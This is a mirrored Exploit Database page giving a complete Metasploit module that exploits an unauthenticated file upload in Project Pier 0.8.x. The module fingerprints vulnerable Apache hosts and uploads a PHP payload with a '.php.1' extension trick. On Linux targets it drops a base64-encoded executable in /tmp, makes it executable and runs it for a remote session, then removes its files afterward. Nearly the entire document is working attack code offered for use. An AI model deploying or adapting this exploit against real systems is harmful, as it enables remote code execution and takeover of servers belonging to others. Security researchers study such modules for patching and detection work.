Project Pier – Arbitrary File Upload (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2012-10-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/21929/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::EXE
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Project Pier Arbitrary File Upload Vulnerability",
  			'Description'=> %q{
  					This module exploits a vulnerability found in Project Pier.The application's
  				uploading tool does not require any authentication, which allows a malicious user
  				to upload an arbitrary file onto the web server, and then cause remote code
  				execution by simply requesting it. This module is known to work against Apache
  				servers due to the way it handles an extension name, but the vulnerability may
  				not be exploitable on others.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'BlackHawk',
  					'sinn3r'
  				],
  			'References' =>
  				[
  					['OSVDB', '85881'],
  					['URL', 'http://packetstormsecurity.org/files/117070/ProjectPier-0.8.8-Shell-Upload.html']
  				],
  			'Platform' => ['linux', 'php'],
  			'Targets'=>
  				[
  					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }],
  					[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
  				],
  			'Arch' => ARCH_CMD,
  			'Privileged' => false,
  			'DisclosureDate' => "Oct 8 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('TARGETURI', [true, 'The path to the web application', '/pp088/'])
  			], self.class)
  	end
  
  
  	def check
  		target_uri.path << '/' if target_uri.path[-1,1] != '/'
  		base = File.dirname("#{target_uri.path}.")
  
  		res = send_request_cgi(
  			{
  				'method' => 'GET',
  				'uri'=> "#{base}/index.php",
  				'vars_get' =>
  					{
  						'c' => 'access',
  						'a' => 'login'
  					}
  			})
  
  		if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and res.headers['Server'] =~ /^Apache/
  			return Exploit::CheckCode::Vulnerable
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  	def get_write_exec_payload(fname, data)
  		p = Rex::Text.encode_base64(generate_payload_exe)
  		php = %Q|
  		<?php
  		$f = fopen("#{fname}", "wb");
  		fwrite($f, base64_decode("#{p}"));
  		fclose($f);
  		exec("chmod 777 #{fname}");
  		exec("#{fname}");
  		?>
  		|
  		php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
  		return php
  	end
  
  	def on_new_session(cli)
  		if cli.type == "meterpreter"
  			cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
  		end
  
  		@clean_files.each do |f|
  			print_debug("#{@peer} - Removing: #{f}")
  			begin
  				if cli.type == 'meterpreter'
  					cli.fs.file.rm(f)
  				else
  					cli.shell_command_token("rm #{f}")
  				end
  				print_debug("File removed: #{f}")
  			rescue ::Exception => e
  				print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
  			end
  		end
  	end
  
  	def upload_php(base, fname, php_payload, folder_name)
  		data = Rex::MIME::Message.new
  		data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
  		data.add_part(php_payload, nil, nil, "form-data; name=file; filename=\"#{fname}\"")
  		data.add_part('', nil, nil, 'form-data; name="part"')
  		data.add_part('Submit', nil, nil, 'form-data; name="submit"')
  
  		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
  
  		res = send_request_cgi({
  			'method'=> 'POST',
  			'uri' => "#{base}/tools/upload_file.php",
  			'ctype' => "multipart/form-data; boundary=#{data.bound}",
  			'data'=> post_data
  		})
  
  		return res.body if res
  	end
  
  	def exec_php(base, body)
  		# Body example:
  		# 0 ./upload/test/test.txt-0001
  		uri = body.scan(/(\/.+$)/).flatten[0]
  		@clean_files << File.basename(uri)
  
  		res = send_request_raw({'uri' => "#{base}/tools#{uri}"})
  
  		if res and res.code == 404
  			print_error("#{@peer} - The upload most likely failed")
  			return
  		end
  
  		handler
  	end
  
  	def exploit
  		@peer = "#{rhost}:#{rport}"
  
  		target_uri.path << '/' if target_uri.path[-1,1] != '/'
  		base = File.dirname("#{target_uri.path}.")
  
  		folder_name = Rex::Text.rand_text_alpha(4)
  		php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
  		@clean_files = []
  
  		case target['Platform']
  		when 'php'
  			p = "<?php #{payload.encoded} ?>"
  		when 'linux'
  			bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
  			@clean_files << bin_name
  			bin = generate_payload_exe
  			p = get_write_exec_payload("/tmp/#{bin_name}", bin)
  		end
  
  		print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
  		res = upload_php(base, php_fname, p, folder_name)
  
  		if not res
  			print_error("#{@peer} - No response from server")
  			return
  		end
  
  		print_status("#{@peer} - Executing '#{php_fname}'...")
  		exec_php(base, res)
  	end
  end